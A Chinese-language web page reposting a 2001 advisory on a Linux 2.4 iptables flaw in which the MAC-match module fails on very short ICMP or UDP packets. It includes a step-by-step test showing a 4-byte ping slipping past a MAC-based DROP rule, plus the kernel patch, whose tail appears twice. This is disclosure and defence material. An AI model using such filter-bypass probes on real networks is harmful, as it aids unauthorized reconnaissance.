歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> Linux 2.4 iptables MAC地址匹配繞過漏洞

Linux 2.4 iptables MAC地址匹配繞過漏洞

日期:2017/2/27 14:15:17   编辑:更多Linux

Linux 2.4 iptables MAC地址匹配繞過漏洞 受影響的系統: Linux kernel 2.4 描述: -------------------------------------------------------------------------------- Linux 2.4內核中包含一個新的功能強大的防火牆體系,名叫Netfilter.它的主要組件是 iptables. Iptables重包含了一個擴展模塊是MAC模塊,它可以基於MAC地址來匹配經過 防火牆的報文。這個模塊主要是用來防止惡意內部用戶通過修改IP地址進行欺騙攻擊。 然而,MAC模塊沒有正確匹配長度很小的報文。例如,4個字節的ICMP或者UDP報文。 這使得內部攻擊者可能利用這一漏洞來探測受iptables保護的主機是否存活,以及其他的 探測活動。 <*來源:John McEleney Chris Wilson ([email protected]) 鏈接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0057.Html *> 測試程序: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負! 我們需要兩台機器進行測試: - Victim, 運行iptables - Attacker, 可以發送小的ICMP或UDP報文 攻擊者(Attacker)的MAC地址假設為:AT:TA:CK:ER:00:00 首先在Victim上禁止來自Attacker的MAC地址的ICMP報文: victim# iptables -P INPUT ACCEPT victim# iptables -F INPUT victim# iptables -I INPUT -p icmp -m mac --mac-source AT:TA:CK:ER:00:00 -j DROP victim# iptables -L INPUT -v Chain INPUT (policy ACCEPT xxxx packets, xxxxxxx bytes) pkts bytes target prot opt in out source destination 0 0 DROP icmp -- any any anywhere anywhere MAC AT:TA:CK:ER:00:00 [現在報文和字節計數器都是零] 在Attacker上ping Victim主機: attacker# ping -s 8 -c 1 Victim PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 8(36) bytes of data. --- xx.xx.xx.xx ping statistics --- 1 packets transmitted, 0 packets received, 100% packet loss [8字節的報文被丟棄了,這是正確的] 在Victim上: victim# iptables -L INPUT -v Chain INPUT (policy ACCEPT 231 packets, 39475 bytes) pkts bytes target prot opt in out source destination 1 36 DROP icmp -- any any anywhere anywhere MAC 00:03:47:87:BA:C5 [被丟棄的報文的數目和字節技術已經增加了] 在Attacker上重新發送小字節的ICMP報文: attacker# ping -s 4 -c 1 Victim PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 4(32) bytes of data. 12 bytes from xx.xx.xx.xx: icmp_seq=0 ttl=255 --- xx.xx.xx.xx ping statistics ---


1 packets transmitted, 1 packets received, 0% packet loss [這次報文被允許通過並返回了應答,沒有被規則丟棄] 再來檢查一下Victim上的記錄: victim# iptables -L INPUT -v Chain INPUT (policy ACCEPT 231 packets, 39475 bytes) pkts bytes target prot opt in out source destination 1 32 DROP icmp -- any any anywhere anywhere MAC AT:TA:CK:ER:00:00 [丟棄報文的計數沒有增加] -------------------------------------------------------------------------------- 建議: 廠商補丁: 1. 安裝下列補丁並重新編譯內核: --- linux-2.4.9/net/ipv4/netfilter/ipt_mac.c Tue Oct 2 18:50:56 2001 +++ linux-2.4.9-ipt_mac-fix/net/ipv4/netfilter/ipt_mac.c Tue Oct 2 19:32:20 2001 @@ -20,7 +20,7 @@ /* Is mac pointer valid? */ return (skb->mac.raw >= skb->head - && skb->mac.raw < skb->head + skb->len - ETH_HLEN + && (skb->mac.raw + ETH_HLEN) <= skb->data /* If so, compare... */ && ((memcmp(skb->mac.ethernet->h_source, info->srcaddr, ETH_ALEN) == 0) ^ info->invert)); 2. 或者等待安裝更新版本的iptables(1.2.3以上版本) http://netfilter.samba.org/



- && skb->mac.raw < skb->head + skb->len - ETH_HLEN + && (skb->mac.raw + ETH_HLEN) <= skb->data /* If so, compare... */ && ((memcmp(skb->mac.ethernet->h_source, info->srcaddr, ETH_ALEN) == 0) ^ info->invert)); 2. 或者等待安裝更新版本的iptables(1.2.3以上版本) http://netfilter.samba.org/



Copyright © Linux教程網 All Rights Reserved